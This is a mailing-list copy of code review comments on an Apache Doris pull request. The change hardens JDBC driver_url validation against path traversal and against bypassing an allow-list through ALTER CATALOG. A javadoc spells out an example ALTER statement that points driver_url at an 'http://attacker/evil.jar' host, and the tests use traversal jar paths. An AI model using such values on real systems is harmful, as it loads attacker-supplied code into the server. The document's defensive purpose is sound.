CalvinKirs commented on code in PR #68129:
URL: https://github.com/apache/doris/pull/68129#discussion_r4035134365
##########
fe/fe-connector/fe-connector-metastore-iceberg/src/main/java/org/apache/doris/connector/metastore/iceberg/jdbc/IcebergJdbcMetaStoreProperties.java:
##########
@@ -141,5 +142,10 @@ public void validate() {
throw new IllegalArgumentException("Property
iceberg.jdbc.catalog_name is required.");
}
requireWarehouse();
+ // Mandatory, non-configurable security rule for the jar this flavor
loads into the FE JVM,
+ // shared with the jdbc / paimon-jdbc catalogs. validate() is reached
only from the CREATE /
+ // ALTER statement paths (checkCreateTimeOnlyRules -> bindForType),
never from a catalog
+ // rebuild, which is what keeps pre-rule catalogs loadable after an FE
restart.
+ JdbcDriverUrlSecurity.check(driverUrl);
Review Comment:
Load-bearing placement: `validate()` is reachable only through
`IcebergCatalogProperties.checkCreateTimeOnlyRules` (`bindForType(flavor,
...).validate()`), which only the CREATE/ALTER statement paths call - verified
by auditing every `bindForType`/`of()` call site in the tree; the connector
build, scan and factory paths bind without validating. That is what makes this
one line cover both DDL statements while a pre-rule catalog still rebuilds
after an FE restart. The flavor gating is inherited: `bindForType` selects this
holder only for `iceberg.catalog.type=jdbc` (lowercased at bind), so a stray
driver_url on a REST/HMS catalog is never checked.
##########
fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcCatalogProperties.java:
##########
@@ -240,6 +241,12 @@ public JdbcCatalogProperties checkCreateTimeOnlyRules() {
.require(driverClass, "Required property '" + DRIVER_CLASS +
"' is missing")
.validate();
+ // Mandatory, non-configurable security rule (no '..' segment; a bare
name must be a plain
+ // *.jar file name), shared with the iceberg-jdbc / paimon-jdbc
catalogs. It lives in this
+ // statement-time hook and NOT in of(): a catalog created before the
rule existed must keep
+ // coming back after an FE restart (see class javadoc).
+ JdbcDriverUrlSecurity.check(driverUrl);
Review Comment:
For the jdbc catalog the statement-time hook is `checkCreateTimeOnlyRules`
itself (no metastore holder). ALTER reaches it through the SPI-default
`validatePropertiesForUpdate`, which merges and falls back to
`validateProperties`. `getDriverUrl()` is read after the `jdbc.` prefix strip,
so both spellings funnel into this single check.
##########
fe/fe-foundation/src/main/java/org/apache/doris/foundation/security/JdbcDriverUrlSecurity.java:
##########
@@ -0,0 +1,102 @@
+// Licensed to the Apache Software Foundation (ASF) under one
+// or more contributor license agreements. See the NOTICE file
+// distributed with this work for additional information
+// regarding copyright ownership. The ASF licenses this file
+// to you under the Apache License, Version 2.0 (the
+// "License"); you may not use this file except in compliance
+// with the License. You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing,
+// software distributed under the License is distributed on an
+// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+// KIND, either express or implied. See the License for the
+// specific language governing permissions and limitations
+// under the License.
+
+package org.apache.doris.foundation.security;
+
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.regex.Pattern;
+
+/**
+ * The mandatory, non-configurable {@code driver_url} security rule, shared by
every connector that
+ * loads a JDBC driver jar into the FE JVM.
+ *
+ * <p>Three catalog types reach the same {@code URLClassLoader} + {@code
Class.forName(name, true, loader)}
+ * sink from a user-supplied catalog property, so they must share one rule
rather than each re-deriving it:
+ * the {@code jdbc} catalog ({@code driver_url}), the Iceberg JDBC catalog
+ * ({@code iceberg.jdbc.driver_url}) and the Paimon JDBC catalog
+ * ({@code paimon.jdbc.driver_url} / {@code jdbc.driver_url}). This class is
that single source of truth;
+ * it lives in fe-foundation because that is the one module every properties
holder already depends on.
+ *
+ * <p>The rule cannot be turned off:
+ * <ul>
+ * <li>any {@code ..} path-traversal segment is rejected, for {@code
file://} and {@code http(s)} alike,
+ * checked on the percent-decoded path so {@code %2e%2e} cannot slip
past;</li>
+ * <li>a scheme-less driver_url must be a bare jar file name matching {@code
[A-Za-z0-9._-]+.jar}
+ * (no directories, no special characters), which is then resolved under
the connector's drivers
+ * directory.</li>
+ * </ul>
+ * Whether a remote/absolute URL is allowed <em>at all</em> remains governed
by the fe.conf-only
+ * {@code jdbc_driver_secure_path} / {@code jdbc_driver_url_white_list}
configs, which the engine applies
+ * separately; this rule only forbids traversal and enforces the bare-name
charset.
+ *
+ * <p><b>Where callers invoke it: statement-time validation only.</b> The call
sites are the property
+ * holders' create-time-only hooks ({@code
JdbcCatalogProperties.checkCreateTimeOnlyRules} and the
+ * iceberg/paimon JDBC metastore holders' {@code validate()}), which the
engine reaches from the
+ * user-facing CREATE and ALTER CATALOG paths and never from edit-log replay
or a catalog rebuild.
+ * That placement is load-bearing: a catalog created before this rule existed
must keep coming back
+ * after an FE restart, so the rule must never run from a holder's {@code
of()}.
+ *
+ * <p>Throws {@link IllegalArgumentException} so the engine wraps it into a
{@code DdlException}
+ * (and, on ALTER, triggers the property rollback).
+ */
+public final class JdbcDriverUrlSecurity {
+
+ // A scheme-less driver_url must be a plain jar file name: letters,
digits, dot, underscore, hyphen.
+ // This intentionally forbids any path separator, so it can never escape
the drivers directory.
+ private static final Pattern SAFE_DRIVER_FILE_NAME =
Pattern.compile("^[A-Za-z0-9._-]+\\.jar$");
+
+ private JdbcDriverUrlSecurity() {
+ }
+
+ /**
+ * Applies the rule to a raw, alias-resolved {@code driver_url}. A
null/empty value means "use the
+ * engine-provided driver" and is accepted; every other value must satisfy
the rule above.
+ */
+ public static void check(String driverUrl) {
Review Comment:
Byte-for-byte the rule moved out of
`JdbcDorisConnector.checkDriverUrlSecurityRule` (diffed line by line, including
the `%2e%2e` decode and the backslash normalization) - no semantic change hides
in the move. It lives in fe-foundation because that is the only module all
three property holders already depend on (`fe-connector-jdbc` and the two
metastore modules do not share any fe-connector module), so no pom changes and
no plugin-API surface change were needed.
##########
fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java:
##########
@@ -250,10 +253,108 @@ public boolean validatePropertiesBeforeUpdate(
} catch (IllegalArgumentException e) {
throw new DdlException(e.getMessage(), e);
}
+ checkDriverUrlsAgainstOperatorGate(candidate, updatedProperties);
ExternalFunctionRules.check(candidateProperty.getOrDefault("function_rules",
null));
return true;
}
+ /**
+ * Applies the operator's driver-jar gate ({@code jdbc_driver_secure_path}
/
+ * {@code jdbc_driver_url_white_list}) to every driver_url these
properties would make the connector
+ * load into the FE JVM.
+ *
+ * <p>On CREATE the same gate is applied inside the connector's {@code
preCreateValidation} (through
+ * {@link
org.apache.doris.connector.DefaultConnectorValidationContext#validateAndResolveDriverPath}),
+ * which ALTER CATALOG never reaches — it validates through {@code
validatePropertiesBeforeUpdate}
+ * alone. Without this call an operator who restricts {@code
jdbc_driver_secure_path} would have that
+ * restriction enforced at CREATE and then bypassed by a follow-up
+ * {@code ALTER CATALOG ... SET PROPERTIES("driver_url" =
"http://attacker/evil.jar";)}, which
+ * {@code resetToUninitialized} makes effective on the next metadata
access.
+ *
+ * <p>Deliberately NOT applied on replay: this runs from the {@code
!isReplay} ALTER path only, so an
+ * existing catalog whose driver_url predates a since-tightened allow-list
keeps loading and FE
+ * startup / follower replay can never be blocked by it.
+ */
+ private void checkDriverUrlsAgainstOperatorGate(Map<String, String>
candidate,
Review Comment:
Two review findings shaped this method. (1) The touched-keys guard:
`getFullDriverUrl` is not a pure check - for a bare jar name it does
file-existence probing and, in cloud mode, a download
(`checkAndReturnDefaultDriverUrl`), and this whole method runs under
`CatalogMgr`'s global write lock (`alterCatalogProps` takes it around
`applyAlterCatalogProps`). Without the guard, every unrelated ALTER would
re-resolve the stored driver_url: IO under the lock, and a hard failure once
the operator tightens `jdbc_driver_secure_path` after the fact. A stored value
was already gated at its own CREATE/ALTER time. (2) `catch (Exception)` rather
than `IllegalArgumentException`: `checkAndReturnDefaultDriverUrl` throws bare
`RuntimeException` for a missing or undownloadable jar (JdbcResource.java, the
two throws in that method), which the narrower catch would leak past this
hook's DdlException contract. The in-loop `JdbcDriverUrlSecurity.check` is the
engine-side fallback: it keeps the mandatory r
ule alive for a degraded catalog whose plugin is absent (provider validation
silently no-ops there) and under `jdbc_driver_secure_path=*`, where
`getFullDriverUrl` accepts everything.
##########
fe/fe-connector/fe-connector-jdbc/src/test/java/org/apache/doris/connector/jdbc/JdbcCatalogPropertiesTest.java:
##########
@@ -268,4 +268,28 @@ void toStringMasksThePassword() {
Assertions.assertFalse(rendered.contains("secret-p"), "got: " +
rendered);
Assertions.assertTrue(rendered.contains("password=***"), "got: " +
rendered);
}
+
+ // ---- driver_url mandatory security rule: statement-side rejects,
of()-side must not ----
+
+ @Test
+ void checkCreateTimeOnlyRulesRejectsTraversalDriverUrl() {
+ // MUTATION: drop the JdbcDriverUrlSecurity.check call from
checkCreateTimeOnlyRules -> red.
+ Assertions.assertThrows(IllegalArgumentException.class,
+ () -> JdbcCatalogProperties.of(
+ with(JdbcCatalogProperties.DRIVER_URL,
"file:///opt/a/../../etc/evil.jar"))
+ .checkCreateTimeOnlyRules());
+ Assertions.assertThrows(IllegalArgumentException.class,
+ () -> JdbcCatalogProperties.of(
+ with(JdbcCatalogProperties.DRIVER_URL,
"sub/dir/evil.jar"))
+ .checkCreateTimeOnlyRules());
+ }
+
+ @Test
+ void ofToleratesPreRuleDriverUrl() {
Review Comment:
This is the compatibility red line of the whole PR, pinned as a test: `of()`
runs on every catalog rebuild including edit-log replay, so the rule must never
move into it - a catalog created before the rule existed with a value the rule
now rejects has to keep coming back after an FE restart. Moving the check from
`checkCreateTimeOnlyRules` into `of()` turns this red.
##########
fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java:
##########
@@ -250,10 +253,108 @@ public boolean validatePropertiesBeforeUpdate(
} catch (IllegalArgumentException e) {
throw new DdlException(e.getMessage(), e);
}
+ checkDriverUrlsAgainstOperatorGate(candidate, updatedProperties);
ExternalFunctionRules.check(candidateProperty.getOrDefault("function_rules",
null));
return true;
}
+ /**
+ * Applies the operator's driver-jar gate ({@code jdbc_driver_secure_path}
/
+ * {@code jdbc_driver_url_white_list}) to every driver_url these
properties would make the connector
+ * load into the FE JVM.
+ *
+ * <p>On CREATE the same gate is applied inside the connector's {@code
preCreateValidation} (through
+ * {@link
org.apache.doris.connector.DefaultConnectorValidationContext#validateAndResolveDriverPath}),
+ * which ALTER CATALOG never reaches — it validates through {@code
validatePropertiesBeforeUpdate}
+ * alone. Without this call an operator who restricts {@code
jdbc_driver_secure_path} would have that
+ * restriction enforced at CREATE and then bypassed by a follow-up
+ * {@code ALTER CATALOG ... SET PROPERTIES("driver_url" =
"http://attacker/evil.jar";)}, which
+ * {@code resetToUninitialized} makes effective on the next metadata
access.
+ *
+ * <p>Deliberately NOT applied on replay: this runs from the {@code
!isReplay} ALTER path only, so an
+ * existing catalog whose driver_url predates a since-tightened allow-list
keeps loading and FE
+ * startup / follower replay can never be blocked by it.
+ */
+ private void checkDriverUrlsAgainstOperatorGate(Map<String, String>
candidate,
+ Map<String, String> updatedProperties) throws DdlException {
+ DriverUrlKeys keys = driverUrlKeysOf(getType());
+ if (keys == null) {
+ return;
+ }
+ // Only an ALTER that touches a driver-url key (or the flavor key that
can bring a stored one
+ // to life) can repoint the loaded jar; a stored value was gated at
its own CREATE/ALTER time.
+ // Re-resolving an untouched value here would also re-run
getFullDriverUrl's file-existence /
+ // cloud-download side effects under CatalogMgr's write lock on every
unrelated ALTER, and
+ // would let a since-tightened allow-list fail ALTERs that change
nothing about the jar.
+ boolean touched =
keys.urlKeys.stream().anyMatch(updatedProperties::containsKey)
+ || (keys.flavorKey != null &&
updatedProperties.containsKey(keys.flavorKey));
+ if (!touched) {
+ return;
+ }
+ if (keys.flavorKey != null
+ &&
!"jdbc".equalsIgnoreCase(candidate.getOrDefault(keys.flavorKey, ""))) {
+ // A driver_url on a REST/HMS/filesystem catalog stays the dead
config it always was.
+ return;
+ }
+ for (String key : keys.urlKeys) {
+ String driverUrl = candidate.get(key);
+ if (driverUrl == null || driverUrl.trim().isEmpty()) {
+ continue;
+ }
+ try {
+ // The mandatory rule normally runs inside the connector's
property holder; repeated
+ // here so a degraded catalog whose plugin is absent (provider
validation silently
+ // no-ops) still cannot be repointed at a traversal /
non-bare-name jar, and so the
+ // rule holds even under jdbc_driver_secure_path=* (which
getFullDriverUrl accepts
+ // wholesale).
+ JdbcDriverUrlSecurity.check(driverUrl);
+ JdbcResource.getFullDriverUrl(driverUrl);
+ } catch (Exception e) {
+ // getFullDriverUrl throws IllegalArgumentException for policy
rejections but also bare
+ // RuntimeException for a missing/undownloadable bare-name
jar; every failure must become
+ // the DdlException this validation hook promises.
+ throw new DdlException(e.getMessage(), e);
+ }
+ }
+ }
+
+ /** One row of the driver-jar key table: which properties name the jar,
live under which flavor key. */
+ private static final class DriverUrlKeys {
+ /** The properties whose value the connector hands to a class loader,
documented aliases included. */
+ final List<String> urlKeys;
+ /** The key whose candidate value must be "jdbc" for the urlKeys to be
live; null = always live. */
+ final String flavorKey;
+
+ DriverUrlKeys(String flavorKey, String... urlKeys) {
+ this.flavorKey = flavorKey;
+ this.urlKeys = Arrays.asList(urlKeys);
+ }
+ }
+
+ /**
+ * The driver-jar properties of the three jdbc-flavored catalog types,
spelled out here because the
+ * fe.conf policy is the engine's to apply while the keys belong to the
connectors, and widening the
+ * plugin SPI for three constants is not worth a plugin API major bump.
The keys are the user-facing
+ * property names (with their documented aliases), which are wire-stable.
This single table drives
+ * BOTH halves of the gate — the trigger set (urlKeys plus flavorKey: the
changes that can repoint
+ * the loaded jar) and the values that get checked — so the two can never
drift apart. Owners:
+ * JdbcCatalogProperties, IcebergJdbcMetaStoreProperties,
PaimonJdbcMetaStoreProperties. A new
+ * consumer of a jdbc-flavored driver_url adds its row here and nowhere
else (see the "Remote
+ * Artifacts and Dynamic Code Loading" section of AGENTS.md).
+ */
+ private static DriverUrlKeys driverUrlKeysOf(String catalogType) {
Review Comment:
Single table by design: an earlier revision had separate trigger-key and
checked-key tables, and a reviewer pass showed they could silently drift (a key
added to one but not the other would make the gate never fire for it, with no
error). Both halves now derive from this one place. The keys were compared
letter-for-letter against the owning holders' `@ConnectorProperty`
declarations; they are user-facing, wire-stable property names, which is also
why hardcoding three rows here was preferred over widening the connector plugin
SPI (and bumping the plugin API major) for three constants.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]
